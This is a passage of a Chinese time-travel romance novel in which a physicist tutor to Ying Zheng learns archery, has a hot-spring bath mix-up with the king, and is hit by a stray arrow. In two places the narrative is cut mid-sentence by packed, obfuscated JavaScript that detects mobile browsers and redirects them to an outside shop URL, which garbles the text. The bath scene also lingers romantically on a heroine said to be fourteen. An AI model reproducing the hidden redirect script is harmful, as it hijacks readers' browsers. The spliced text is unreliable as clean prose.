“是啊。”成蟜接话道,“贵族皆以骑射为礼仪交往,帝师不如学一学,总比日日看书打发时间强。” 印玖听罢觉得有道理,便应下了。 一行人走了大半天终于到了骊山,印玖回头一看,背后早没了大部队身影。 一行人被出来迎接的侍人带着去吃了饭。 伙食不必多说,就算是秦王赐宴,在现代人印玖这里也只能得到“能入嘴”三个字的评价。几人吃罢便回了各自分配到的房间休息。 印玖一边走一边对引路的侍人问东问西,等到来到自己的房间,对整个骊山群殿也有了一定的了解。 印玖没有睡午觉的习惯,在屋内看了一圈就出来逛了。新的地方总是有很多新花样,印玖呼吸着新鲜的空气,不紧不慢地穿行于游廊亭台间。腰上金印紫穗彰显她不凡的身份,偶尔有侍从路过,都远远避开。印玖看见了便频频抬手,示意他们赶紧起身别耽误自己的事情。 8. 浴池 印玖在周围逛了很久,看见有侍人领着一位年长的骑术师傅来找她。 印玖见对方身正气雄,便猜到三分。 “大王和长安君他们已经前往猎场狩猎。临走前,大王特意吩咐叫找一位经验丰富的师傅教授帝师骑射。” “既然如此,那就走吧。” “我们的训练场地在哪里,也在猎场吗?” “不,大王特意吩咐,在一处驯马的别院。说不能因为他们的活动让帝师学习分心。” 印玖觉得这个理由奇奇怪怪,不像嬴政平时的思考风格,但她也没揭穿。 直到学了一个半时辰,她才明白嬴政让她别去猎场的意思。 丢人。 印玖和师傅二人俱是满头大汗,但谁都不能在印玖的骑射技术上取得半分明显突破。 印玖眨着一双无辜的大眼睛看着一旁默默消化情绪的师傅,上前安慰了几句:“师傅,我好像学习骑射比常人笨一些。” 师傅凝神思索了一阵,客观道:“帝师才思敏捷、文章出众,自然是不笨的,只是在骑射上,不如大王与长安君那些人的天资罢了。” 印玖听完就放心了,这样的话,那自己还有得救:“我想着,我也不急于求成,师傅每日就按照普通人的标准给我制定训练计划吧。” “只是大王那边……”师傅有些犹豫。他害怕不能迅速出结果导致责罚。 “是我没有天赋,与师傅无关,我自会与大王说明白的。大王不是不明事理的人。更何况,他把我们安排在这里而不是猎场,就已经预料到结果了。” 师傅闻言稍一思索,觉得有道理,因而放宽心来。 印玖按照师傅制定的计划又训练了一个半时辰,直至落日西垂,朦胧弯月带着深蓝夜色侵占大部分天际,连云朵都暗淡下来,鸟雀变成黑色轮廓划过鸦青色调的天空幕布。一个侍人提着灯找来,看见了在廊下休息的印玖,走上前说:“帝师,大王赐晚宴,传帝师前去。” 印玖运动了五个小时,只吃了骑射师傅带给她的一个馒头,现在肚子瘪了,人也没力气,伸手让侍人扶了一把才站起来,立定了半分钟才往前走。 侍人原以为对方定然颤颤巍巍、需要自己小心搀扶,不想对方步履如飞快出残影,自己差点跟不上。 开玩笑,她都快饿死了!她原本预计着嬴政他们该结束了,于是坐在廊下边看月亮边等通传,结果看了半个小时也没人来。她现在听到食物就如同饿狼见到肥羊,眼睛放绿光的那种! 等到印玖到场,刚好与嬴政一行人撞上,二人面面相觑,印玖太着急甚至忘记了行礼。 嬴政见她匆忙伸手扶了一把,看她头发凌乱又心急如焚的样子就知道她饿坏了,笑着提醒她:“老师,小心些,别摔着了。” 印玖这才如梦初醒,给嬴政和成蟜行了礼。 “帝师这是饿着急了!”成蟜可不管这些,揭开嬴政的掩饰就哈哈大笑起来。 印玖莫名地心情好,虽然内心怀着“你到底在装什么”的想法,但哈哈一笑也就过去了。 众人依次落座,嬴政在侍人上菜时便让大家自行方便,不必顾及他是否尝过。至于方便谁大家都心知肚明。 实则众人不知,印玖饥肠辘辘的时候,嬴政也莫名其妙地饿起来了,维持好人前礼仪已是勉强,如今美食当前,他也不想故作矜持。 秦国饮食层级有明显的限制,在座的诸位平日里都难以得见如此丰盛的美食,尤其是正中间这个大猪蹄子!淋上醢汁看着就觉得香!不止印玖迫不及待,大家看着看着也都饿了,每个人都放开怀品尝,氛围逐渐浓起来。 席过一半,敬酒礼就开始了。成蟜站起来说着冠冕堂皇的话端着酒杯敬嬴政。 印玖看了一眼就低头继续吃饭,默念着这个环节不要有她什么事。她有点酒精过敏,不严重,但一碰酒就犯困,哪怕一滴酒。 岂料成蟜是个会来事的,敬完嬴政就敬她了。 “帝师。” 印玖听到这声称呼时,内心极不情愿地放下筷子站起来,嘴里的食物都暂时停止咀嚼。她端起酒杯,正色看向成蟜,想看看他狗嘴里,不是,金口里能吐出什么象牙。 “听闻帝师不仅学富五车,思想成果更是惊艳公侯。我大秦向来求贤若渴,帝师虽为女子,却不逊于一般男儿。这杯酒敬帝师为我大秦所用,愿来日缔造伟业!” 印玖露出八颗牙标准笑容:“那就借长安街金口玉言了。不过,在下虽名玖,属实与酒无缘。这东西我一碰就过敏,只能勉强饮此一杯。” 嬴政听见“过敏”就暗道不好,当即出声截了印玖的酒,生怕她就要喝下去:“这么大的事情老师也不早点说。老师不方便,做学生的自当代劳。”说着端起酒杯一饮而尽,不给成蟜任何反应的机会,心中骂着那群人办事效率怎么如此之低,连一个有用的方士都找不到! 秦王替人挡酒,真是闻所未闻,见所未见。 这场插曲让在座众人都愣了片刻,包括印玖。她总是忽视自己的感受和别人绑定这件事情,不过也是场上最快反应过来的人。 “多谢大王。”印玖荣辱不惊地道了谢,重新坐好。 秦王都出面了,成蟜自然不能不给印玖面子,又说了些话圆自己的行为,继续和别人拼酒。众人见了嬴政替印玖挡酒的插曲,也不会自找没趣到硬劝印玖喝酒,故而没人来打扰印玖。 众人推杯换盏间,印玖借机和嬴政对视了一眼。 希望他不会以为自己是故意拉他出来顶酒的吧。 席至末尾,印玖吃得差不多了,倚在案上走神,突然听见旁边传来一阵不和谐的嬉笑。印玖闻声看过去,不知道成蟜和那些宗室子弟说了什么,一脸□□。 在现代从小就是各种聚会中心人物的印玖:“……”不是大哥,你们毛长齐了吗?印玖向来家教严苛,再加上自身性子冷,上大学谈了两段无疾而终的恋爱,在这之前连早恋都没有过。倒不是怕家里人知道后责罚,而是怕耽误学业,上不了最好的学校,接触不到最优秀的老师,不能与最优秀的人探讨有意义的物理问题。 而眼前这些人,承祖上荫蔽,也无理想信念,每日只需要考虑如何吃喝玩乐就行了,和自己的人生路径注定截然不同。 可是印玖又转念一想,自己装什么呢?来到这里就已经不能继续研究前沿物理问题了,还是多考虑一下如何高效完成任务早点回去吧。在这里,自己过去的骄傲都不作数。 印玖苦笑一声,重新将注意力放回眼前,只见成蟜走到嬴政身边,不用想都知道接下来他们要说什么。 不过嬴政后宫至今空无一人,自己来这半年,听说华阳太后和赵太后都给他送了几个人过来,被他一一拒绝了。 印玖觉得太正常了。以他那个死亡作息,连带着自己都累得半死,每天要替他多睡好几个小时的觉。他要是还能有精力想东想西,那简直不正常。 当夜,两个猎场上的女侍人被送往成蟜房内。 骊山除开猎场又大又开阔之外,还有一大特色,那就是温泉。 这温泉经久不衰,自周朝至现代,仍在源源不断涌出泉水。嬴政刚即位便命人将露天式的温泉改为封闭式,泉水分流至多个汤池,是以印玖今日也分到了泡温泉的名额。 这温泉她前世也泡过,不过论奢华程度,各方面必然是比不过古代封建社会的。 她兴冲冲地拿着狩猎大部队到达后分送来的她从章台宫带过来的衣物,在侍人的带领下去了温泉池。 侍人拿着分配好的房间牌号确认过后,一边给印玖引路一边千叮咛万嘱咐,进了门,直走到尽头,然后往右走到第二个浴室,就是她的浴室。 印玖一边看景一边听侍人说话,连连点头,脚步有些虚浮,也不知道为何。 等到了地方,侍人帮忙打开了门。 印玖怀着期待的心情进去,入眼是巨大的汤池,大小堪比现代游泳池。支撑房梁的柱子刻着“玉温池”三字,想来是这个汤池的名字。温泉内部池壁雕刻着十二日月星纹和秦国风尚偏好的纹理,入水口是可爱的简笔麒麟头。 印玖很快脱下衣服踏进水池。 凝神泡了一会儿,印玖有些恢复了清醒,突然想起侍人应该还在门口候着。她从来也没有让人伺候的习惯,更别提她在里面洗澡,外面有人等着,想想怪尴尬的。 于是她开口,让侍人回去休息。 侍人虽然心动,但职责所在,低着头推脱一番。印玖又说了些道理,完整表达了自己的不适,侍人才离去。 没了人在外面盯着,印玖整个人放松下来,没忍住在水池里游了两个来回。 嬴政身形有些不稳,方才印玖吃好后便离了席,诸人见状一个个都按捺不住自己的好奇心,借着酒意胆子也大了起来,疯狂给嬴政灌酒想问出他和印玖的真实关系。 大家自以为推断无误,只差嬴政最后亲口确认,谁料得到了一个“师徒关系”的结果,聚在一起的人群氛围瞬间挫败下来,很快又转为起哄,劝嬴政喝酒。 嬴政不得已又喝了几大杯,脑子突然一飘,知道自己这是有些醉了,顿时觉得印玖不喝酒的规矩正确无比。 好在成蟜看出不再为难,一个人把闹哄哄的人群叫散,让侍人扶着嬴政回去休息。 嬴政喝了一碗提前让人备下的醒酒汤药,歇了好一阵缓了过来,打算泡个澡就休息,自行拿着衣物去了浴室。 位置是他亲手安排,左边给了印玖,右边是他和成蟜的。 昆虫在廊外花坛欢快叫着求偶,桂花香阵阵醉人,月色清辉洒落,一切澄明清亮。右边浴池外一眼望过去并无侍人在外等候,一切都无异常。 嬴政放心来到右边第二间屋子,推门而入。 “嗯!”这是嬴政听到的第一声,冷风从外灌入,入眼是惊颤的蝴蝶骨,颤抖下似蝴蝶振翅。 “噗!”这是嬴政听到的第二声,里面的人飞快沉入水底,涟漪水面掩不住佳骨天成。 惊慌与惊艳撞了个满怀,谁都没从心底发现对方那点异样。 嬴政从来没有想过有这样一天,他会因某个人而惊艳。 他向来习惯将一切掌控在手里,无论发生什么变数,都有对事物发展的判断力。他会夺回属于自己的权力、然后逐一攻破六个国家,按照他的意愿建立起七国新的秩序。在前期,他需要一个有力的王后,最好是延续与楚国的联姻,以获取朝中芈系势力的支持,在后期,他需要肃清朝中所有阻碍,集权力于一身,推行统一的架构体系,以建立起一个真正统一王朝。 眼前这人不明来历、不明目的人,像一把双刃剑,好用却不得不防。 直觉告诉嬴政,此人远没有她目前表现出来的那么简单,如村夫一般鲁莽行事不过是她最外层的简单伪装。若是被此迷惑住,就意味着连迷宫的入口都还没摸到。 “阁下是走错了吗?”印玖主动出声,先发制人。 究竟会是谁呢?她不经思索着。本次出行的队伍里,能来这里泡澡的,就只有三个人她、嬴政、成蟜。正式是秦国狩猎活动要等到三天之后。换言之,三天之后秦国的大人物们才会来。正常情况下,他们没有道理提前来,因为默认这三天是年轻人的活动时间。 嬴政此时会在做什么呢?宴席结束了吗?成蟜又在做什么呢? 会不会是侍人而不是他们当中的人? 人就在身后,但她只觉得千头万绪但毫无切入点。 唯一庆幸的是她背对着门口,没被人看光了去。 “……”嬴政被印玖高起的声调拉回思绪,他关上门,快步离开了这里。 一切不过几个呼吸间。 印玖却仿佛像做了趟过山车。她飞速上岸披上外衣出门查看,门外月色正好,花香正浓,唯独不见有人。那人必然是躲在某一间房间里面了,但是值得叫人把他找出来吗? 事情一闹大,所有人都会知道今天晚上发生的事情,对自己的影响远远大于对对方的影响。毕竟无论是身份上还是性别上,自己的舆论都太大了。 如果自己一间一间房找,对方也很可能乘机跑掉。 但也有可能运气好,直接抓到登徒子。 印玖左右两边都有浴池,她随机选择了一间屋子进去,关上房门,凝神听着四周动静。 这边的房间布局和她的那间似乎刚好对称。印玖一处一处寻过去,不放过任何一个角落。 搜到内部隔间时,印玖推门却卡住了。印玖眼前一亮,几乎锁定了位置,几次推门不开,直接上脚踹。 嬴政没想到对方会用这种方式,身形晃了一下,但很快稳住,抵御住接下来的几脚。 僵持之下,印玖关上的房门被人“吱呀”一声推开,来人嘴里还念叨着:“咦,怎么好像有声音?” 印玖一袭白色长衫垂地十分惹眼,转头和远处左拥右抱的成蟜大眼对小眼。 电光火石,印玖从满头雾水中理明思绪——当务之急是不能让成蟜知道刚才可能发生了什么! “长安君,你来我的浴池做什么?”她环抱双手走向成蟜,气势初显。 盘在脑后的云鬓因印玖刚才踢门的举动而凌乱,斜斜挂在脑后,修长身形隐在长衫里,一点锁骨轮廓随着步伐若隐若现。印玖睫毛上还挂着水珠,乌黑眉宇因浸润温泉而愈发浓密深邃,碎发也因沾上水珠凝成一簇一簇,一改成蟜白日里见到的那个凌乱散漫、眼睛无神、不修边幅的样子,气场收束中锐气和贵气逼人,眼睛更是水润灵动。 也就是此刻成蟜才注意到,原来印玖的皮肤是那种白皙透粉亮的美。 两边侍人被吓得低头不语,神情惴惴不安,生怕被殃及。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151487|196457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 成蟜看呆的同时有一瞬间意识到,这才是当得起帝师之名的少年模样。 印玖等了一会儿,却只看到一个人看着自己发愣,她不满地皱了眉头,成蟜才回神整理好思绪,拿出浴池牌解释道:“帝师,可这是我的浴池啊。” 印玖接过浴池牌看了一眼还了回去,装出一副思考的样子。 她当然知道这个浴池很大可能是他的浴池,而她用了的那个浴池本来是嬴政用的。侍人把自己的浴池和他们的搞混了。但问题就在于,她现在不能让出去,因为这里还藏了一个人!如果成蟜要用那隔间和这二位做些什么,就势必会发现里面的人。 而在成蟜眼里,自己与他是一同出现的,这就完全说不清了。 “是吗?但是我已经用了。”印玖像是有些为难,“不然你去左边的浴池吧。” 成蟜虽然一头雾水,但自知也不方便在这种事情上和印玖争执,嘴角抖了抖,道了歉,带着左右离开了。 印玖看着他关上门,长舒一口气,重新回到那扇门前。 “阁下准备在里面待多久?”印玖抱臂守在门口,这长衫虽然够厚,但她没有擦干水珠,也没有外衣,温泉水残留的热意渐渐散去,现下身上有些冷。 另一边成蟜出了门却没有走,他站在门口低着头思索着这桩奇怪的事,眉头紧皱,总觉得哪里不对。 不知怎的,他突然瞥到了门口残存的水渍。 那水渍深深浅浅,最深处是……是隔壁的浴池! 这就奇怪了,帝师为什么要从隔壁浴池来到自己这间浴池? 新发现的线索并没有解开成蟜的疑惑,反而让他陷入更深的疑惑。 此刻美人在侧也没心情了,他抛下左右美人,自己回了屋一边差随从去打听大王在何处,一边命人叫来管事,询问浴池的安排情况。 管事不敢隐瞒,如实回禀,说浴池是大王亲手安排的,右边安排了大王和他,左边安排的是帝师。 成蟜点点头,又问大王给自己安排的是哪个浴池。 管事隐隐察觉到不对,却不明缘由,本着少说少错的原则,不敢告诉成蟜如此详细的内容:“还请长安君见谅。事关大王隐私,我等实在不方便回答,还是请长安君拿了大王的谕令再来询问我等。” 成蟜知道秦国律法森严,并不为难,点点头让管事走了。 刚巧打听嬴政行迹的随从回来,弯着腰道:“禀长安君,大王住处的人说,他自离席后便回房休息了,未曾出门。” 成蟜愈发觉得事情扑朔迷离起来。他挥退下属,自个儿开始思考。 印玖看着门缓缓推开,内心带着一丝期待。 如果里面走出来的是嬴政,那就好办了,可如果不是的话,就麻烦了。 很多情况下,她觉得自己和嬴政处理事情的出发点是相似的,大家都不会在一些世俗在意的事情上纠结。 当嬴政从里面走出时,印玖松了口气,皱眉问道:“哪个环节出了问题?” “我本来安排你在左边浴池的。”嬴政见她衣衫半湿不干的,加上内心某些不可言说连想起都不能的念头,将外袍递了过去。 “多谢。”印玖接过披上,毫不扭捏,“我看到侍人给我的号码牌是右边第二间。” 嬴政虽然没说话,但露出目光告诉印玖,他已然做出和自己一样的判断。 “成蟜那边或许会发现一些端倪。”印玖想到他又头疼起来,这个人看起来鬼得很,也不知道会不会继续追查下去。 “长安君那边我会处理。” 印玖闻言,放下心来,他处理比自己处理简单多了。 “抱歉……你……我……”嬴政难得紧张起来,耳坠像滴了血。 “没事。”经由成蟜一闹,印玖知道是嬴政而不是某个侍人之后已经心满意足了。 至少嬴政是可控变量,不会做出不可控的事情来。 “其实我也没那么在意,就是怕发生一些不可控的事情。” “比如呢?”嬴政试探着问。 “比如用我的清誉威胁我,求名求财。这个勉强可控。比如真是单纯把它当成一件值得炫耀的事情来看,但是却在某个不经意的时刻说了出去,又不小心引发轩然大波。俗话说世上没有不透风的墙,我觉得这种无妄之灾很麻烦。” 嬴政意有所指,赞同道:“我也不喜欢事情不受控制。” “算我多嘴问一句,那个侍人你打算怎么办?” “杀掉。”嬴政不假思索道。 “呃,我也没缺斤短两的。不然,罚点月例?” 嬴政意外地打量她:“你是真不介意?” “……”印玖有些无语。合着你以为我说半天都是在给自己做心理建设? “又没看到正面,就看个背。再说这十四岁的身体都没发育能有什么好看的吗。我只是尴尬怕麻烦而已,不是生气。” 嬴政:“……”他算是发现了,眼前这人永远有伤人于无形之中的能力。 “她的过失不仅对你造成了影响,也对寡人和长安君造成了影响。你不追究,寡人总得给自己和长安君一个交代。” “受到伤害的明明是我又不是你,怎么你委屈上了?而长安君只是换了个池子寻欢作乐而已。” 嬴政蹙眉面露不喜:“……强词夺理。” 印玖为了一条人命,愿意不讲逻辑一次,不过见嬴政不喜,很快恢复理性:“我只是觉得,严刑峻法虽有利于统一天下,却不利于治理天下。治理靠的是明法,而非严法。” “继续。” 这是有机会? “因为打天下和治天下是不一样的逻辑。打天下需要强大的军队和严厉的规则来驱动战争与杀戮,此时人类社会所必要的一些美好的品德是暂时不被考虑的,而治天下是构建一个良好稳定的活性生态,在这个过程中需要道德进行调和。” 印玖对于战争与和平仅有一些简单设想,毕竟她离战争一直很远,哪怕在秦国。 她离战争最近的一次是第一次来到这里,在大街上被捅了个透心凉,除此之外,只在王室建造院的食堂里吃饭时,有听一些人谈起过秦国与其他国家的哪场仗又赢了,哪场仗又输了。 那时的她对此完全没有实感,也不在意,毕竟她只需要用物理知识研究一些简单的热武器制作而已。 嬴政听罢点点头,边走边说,将印玖留在原地:“你为她赢得了一次生机。” 印玖:“……”为什么总觉得他的举动有点说不出来的奇怪? 给自己衣服他不要了吗?走这么着急也不留个处理方式给自己? 还有,他怎么突然开始明着对着自己高傲了?话没说完就走。他一直都只在心里对所有人这样。 印玖仰浮在水面上思考,不时用腿滑动水面。想了半天没想明白。 9. 中箭 嬴政一回寝殿,喜又多添了几盏烛灯,说起长安君那边派人来关心大王酒后身体的事情。 嬴政自信周围之人皆是精挑细选聪明伶俐之人,自然不会轻易透露他的行踪。 听完喜汇报后他颔首,转而提到浴池分配弄混的事情。 “这里的人做事太马虎了,连浴池安排这样的小事都能弄混。” 喜听完低头垂眉温和道:“奴婢知道该怎么做了。” 却没等到嬴政说“可”。 喜诧异抬头,见嬴政在思量什么,心底觉得奇怪。 随即听见嬴政道:“涉事人等都拉去修陵吧,也算积福了。备水沐浴。” 喜嗅出一丝不同寻常的气味。 她在嬴政还是公子的时候就负责嬴政的起居,对他的行事作风了如指掌,他绝不会一时心善把斩首的处罚改成修陵,也不会因为浴池弄混就中断泡温泉的计划。 如此反常,怕是与帝师大人相关。整个章台宫和咸阳宫加起来,也就她一个人会因为这些小事劝谏大王了。 一边想着,她恭敬退下去安排。 浴后就寝,嬴政却无多少睡意。 那声又轻又淡的惊呼像猫尾巴,一下一下挠着他的心,又酸又涩,像吃了颗酸梅。 他只能庆幸印玖对男女界限似乎不太明确,也不设防,这份异样她难以发现。 印玖跟着师傅又练了一整天。 嬴政来时看见印玖在跑步,师傅在一旁一边用手比划一边给她讲解骑射要领。 汗水一滴一滴往下掉,她的注意力却全放在师傅的讲解上,仿佛不觉得累。 嬴政一开始便猜测印玖会喜欢这样的学习方法,从这两天的反馈来看也确实如此。 他站在远处看了一段时间,等到印玖阶段性练习结束才上前。 “大王。” “大王。” 二人行了礼,印玖嘴上还叼着个新拿的烧饼。 “我来看看老师练得怎么样了。” “距离能拉弓射箭还差很远。”印玖一边吃一边道。教学师傅只觉得胆战心惊,怎么能有人在秦王面前如此放肆? “对了,你怎么有时间过来?” “朝臣们陆陆续续到了,他们要去和家人见面。” 印玖点点头,没多问,内心却有个想法一闪而过:成蟜也要去吗?成蟜要去的话你不用去吗? “帝师每日练些什么?”嬴政转向问起教学师傅来。 “启禀大王。”师傅恭恭敬敬道,“帝师每日每日练习拉弓十组,弓的拉力为半石,每组从20分钟开始,逐步递增到30分钟。另外,帝师的体魄有些虚弱,故而每日需练习长跑,每日十次,每次从5分钟到10分钟递增。” 嬴政点点头:“明日会有一场骑射比赛,你可随帝师前来,将实战要点讲述于她。” 印玖和教学师傅一起点头答是,内心却想,这种事情怎么还值得你直接过来一趟? 嬴政兀自坐下,意要观看印玖训练。 教学师傅愈发不敢松懈,汗流得比印玖还多,给印玖指点和提气。 好在嬴政来时距离训练结束也就差30分钟的拉弓,印玖一边拉弓一边思考嬴政怎么有心情来这里。 正想着,旁边却有个人贴过来。 原来教学师傅不敢与印玖接触过多,是以印玖很多姿势做得不够标准,而教学师傅只能拿手比划或自己做示范。 但印玖在骑射一行上毫无天赋,完全没看出要领来,教学师傅无奈只能放弃,听天由命。 “姿势不对。” “啊?那怎么搞”印玖当然知道不对,师傅已经说过很多次了,奈何男女大防他不敢碰自己的肢体,她也不好多说什么。 嬴政直接上手纠正。从高度位置到发力点,一一调整过来。 调整过后,印玖果然觉得省力多了。 “呼——多谢陛下指点。” “以后拉弓的训练我来给你做,每日辰时准时在这里汇合。” “啊?”7点半?! 也就是说她6点半就得起了!! 印玖忙道:“不用不用,陛下日理万机,不用理会臣区区此等小事,自有师傅效劳。” 印玖瞟了一眼旁边的教学师傅,只见他低着头在一旁不敢说话,一副听吩咐的谦卑姿态,内心就知道指望不上。 “老师,骊山群殿内没有女师傅,别人教你时大约也不好触到你四肢,只能辛苦一下做学生的寡人了。” 印玖:“。” 既然话都说到这个份上了。 “那就有劳陛下了。”为了练就一个好的体魄去学习物理,老娘拼啦! 印玖是和嬴政一同出现在狩猎场上的。 成蟜远远看过去,自家王兄依然是那副泰然沉稳的样子,而他旁边的印玖则……看起来有些憔悴,像没睡好。比平日里还要无精打采,更无那日浴池边上风姿。 成蟜有一瞬间怀疑那是一场梦。 关于帝师为何一人独占两个浴池之事他依然无解,日思夜想以至有些恍惚。而手下只打听到了王兄那日并未前往沐浴,只是在第二天得知侍人将浴池安排弄混了,将人发配去修陵了。 印玖坐在观众席上昏昏欲睡,尽管周围只有她和教学师傅二人,一眼就能看见堂堂一国国君帝师当众睡觉,能也完全不能让她控制住自己的睡意。 半睡半醒之时,她听见周围热烈的欢呼声,便知是嬴政又射中猎物了。教学师傅总是在耳边滔滔不绝,仿佛她进入梦乡也完全不影响他的表达欲,抓住骑射要点深入分析,却都化作催眠曲调伴人入眠。 突然,印玖听见一声惊呼! 她下意识抬头,以为嬴政出事了,自己马上就要重开了! 却不想,一支黑色的利箭直冲冲朝她飞来! 印玖当即愣在原地,世界仿佛慢了下来。她看着那支白羽黑箭离自己越来越近,脑子里一瞬间闪过无数信息。 原来不是射嬴政而是射我啊。 刚重开就这么倒霉吗? 死腿,快动啊!再不动你就完蛋啦! 印玖强迫自己回过神来,只看见教学师傅随手拿起杯盏朝那箭砸去。而她只能拼尽全力双腿一蹬,往旁边一扑! 那箭被杯盏一砸,偏离原本方向,气势削减了大半,射在印玖大腿上。印玖感受到疼痛,眼前一黑,当即昏死过去。 意识完全消散前,似乎听见周围兵荒马乱。而各类嘈杂声终止于一骑策马赶来,他没下马,双手握着缰绳,不紧不慢地叫了声:“宣医侍。” 帝师不慎被乱箭刺伤,比赛暂停。 嬴政一直在马上没下来,脸色铁青。 成蟜看了只觉得害怕,不敢靠近。这表情不知道的还以为被射中的是他呢。成蟜不由得又开始怀疑起这二人的关系来。 就算这二人没有什么,王兄这副表情,又真的没有半点非分之想吗? 射箭的是一个宗亲子弟,因嬴政实力强悍,放在自己这边凑数的,家里有人在朝中担任九卿之一。 罚起来很麻烦,嬴政咬紧牙关忍着痛想。 …… 印玖再次醒来时,已在室内。 环顾四周,看陈设不像自己的房间。很久不见的姝在她床边守着,见她醒来便笑道:“帝师醒啦,奴婢给您倒点水。” 印玖有些搞不清状况。她以为自己能回家,睁开眼发现是幻觉。看周围的样子,没有太监和抹布,应该也没重开。 “这里是……偏殿?”印玖发现自己嗓子沙哑,大腿处的疼痛自下而上蔓延开来。 “是。帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151488|196457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师昏睡了大半天,来,先喝点水。” “多谢。”接过水杯,印玖一饮而尽。 “这里是哪里?我情况如何?医侍怎么说?” 印玖一连问了三个问题,却把货真价实十六岁没读过书的小姑娘问得愣住了。印玖自觉这两个问题应该不难回答,她面色平静,看着她等她回答。 小姑娘没上过学,好一会儿才组织好语言:“回帝师的话,这里是大王偏殿。帝师中箭后,大王直接把您安排到这里来了。奴婢听医侍向大王回禀的时候说,帝师伤及肌肉,需要好好修养一个月。一周内不能下床,二周内不能出门,三周内不能出院子,两个月内不宜剧烈运动。” “呃。”刚开始的运动项目就这样泡汤了,好不容易休到的年假也一起被冲走了! 印玖辛苦接受,点头道:“再倒杯水。” 她现在觉得还是有点渴。 喝了水,印玖想到了嬴政。中箭的时候自己昏过去了,最痛的那阵她没感受到,但嬴政不能在众人面前和她一起昏过去,所以他是直接硬抗了伤害。 总感觉有点对不起他。 但这种意外防不胜防,说不定下次自己还能报答回来呢。 印玖安慰自己一番,好不容易心安理得地接受,突然又想到,不管自己痛还是他痛,最终都等于两个人一起痛。 “……” 印玖喝完水就让小姑娘出去候着了。她掀开被子,卷起裤管,查看大腿伤势。大腿已被包扎好,看不出什么。只是仍然很痛,痛得要死。 不能自己一个人承受,印玖叫出系统诉苦。 “我还以为只有嬴政有人身安全的威胁,怎么我也有哇!” “这是纯个人因素决定,我们也不知道。”系统摇头表示遗憾,“不过宿主你也不要太难过,要往好处想啊!” “好处在哪里?”印玖阴飕飕地盯着它。 “这个,,,”黄豆人系统眼睛滴溜转,终于,像想到了什么般叫道:“秦始皇可是让你住进他偏殿,这说明他对你的信任更进一步了啊!” “放屁!他明明是看我这副样子无论如何也刺杀不了他才没赶我走!” 印玖白眼一翻,“你这智商怎么当上引导宿主的系统的。” “那你倒霉难道还怪我吗?” 系统爆杀! 随即它小声嘀咕,为嬴政讨公道:“宿主你怎么能这么想呢,这次副本的嬴政从头到尾对你都很不错吧。” 印玖嗤笑一声:“如果我是他,我绝对不会信任一个来路不明的人。如果对方有很大价值,我会榨干他的价值,然后扔掉。” “那他为什么要教你学习骑射?你的脆皮身体不是更方便以后扔掉吗?” “可能他嫌弃我身体素质太差拖他后腿吧。” 还别说,印玖这话有理有据。 嬴政精力旺盛不常觉得累,但印玖的精力只算个普通人,工作了一天就会感到累了。二人的感受相互传导,结果是拔高了印玖的下限,拉低了嬴政的上限。 也难怪他一开始会提议让印玖学习骑射。 对方肯定觉得自己拖垮了他的效率,才不得不让找个借口自己锻炼身体。 说白了,对方也没有信任自己还两说。 “嗐!”印玖叹了口气。 身份和目的这个东西,光靠自己说没用,得对方判断。 前者好判断,后者就不容易了。 可是,如果一个皇帝听完对方说,对方拥有改变世界的知识并且要帮助他,欢天喜地地就接受了。 这只能说明对方缺心眼。 这种皇帝注定不是嬴政。 “难道是上帝看不惯我过了几年好日子,才把我扔到这里吗?” 印玖自问自答,彻底没了脾气,躺平睡觉。 10. 老师,你真的很缺钱吗 嬴政在温泉池中沐浴,水汽朦胧他精致面孔,亦看不出他的看不出情绪。 今天那一箭,本该刺进他的身体,但座下那马突然就慢了下来。不过一瞬,利箭便在他面前飞出。倘若坐下的马没有突然停下,他躲不及,必然会被射伤。 嬴政睁开眼睛,下意识抬手,看着自己的手臂。他遗传了母亲不留疤痕的体质,但无论如何都记得,那年他刚回秦国,与成蛟在长街上跑马,二人共乘一骑。不料右丞相昌平君的车马从旁驶出,二人被撞倒在地。他下意识将弟弟护在身下,却被那马踩中手臂。而昌平君,急匆匆下马后,便抱起成蛟查看擦伤,确认对方无恙,才注意起倒在地上、痛得倒吸冷气的自己。 其实这件事情没有任何毛病,毕竟人与人有亲疏远近之分,无关身份地位。昌平君的做法并无不妥。他亦得到及时救治,并无大碍。 只是在他的人生中已经有太多太多这样类似的事情了。好像他永远是最倒霉的、被抛弃的那个。 多到他不禁想问,为何只有他的人生要经历这许多。就比如说,小时候在赵国时,他就老是在想,倘若当时他、母亲和父亲在一块儿,是不是先王就不会抛下他们、就不用在赵国受尽那么多年的屈辱与折磨?就比如说,母亲为了她和自己的生存,不得不与人……他明明知道,却毫无办法。就比如说,明明是他的亲祖母,却一直不待见他,甚至不惜四处散播谣言,毁坏自己的声誉。就比如说,母亲对他,从始至终,没有过一丝亲情。这又到何处去说理呢? 疤已经看不见了,但心中的伤痕并不会随着时间流逝而淡去。 . 骊山群殿不比章台宫,偏殿与正殿仅一墙之隔。 晚上了,隔壁看起来还是暗的,也不知道嬴政在外面逛什么,什么时候自己才能出去逛呢。 印玖坐在床上漫无目的地想。她的腿受伤了虽然不能练习骑射,但是并不耽误她继续写物理学讲义。早在来骊山的时候,她就十分有先见之明地把这些东西带过来了。印玖让姝找了个轻便的床上案几给她当床上小桌子用。 写了半个下午,饥肠辘辘之时,她搁下笔,盘算着姝差不多要送饭过来了。 等了一会儿,姝端上来晚上的饭菜。 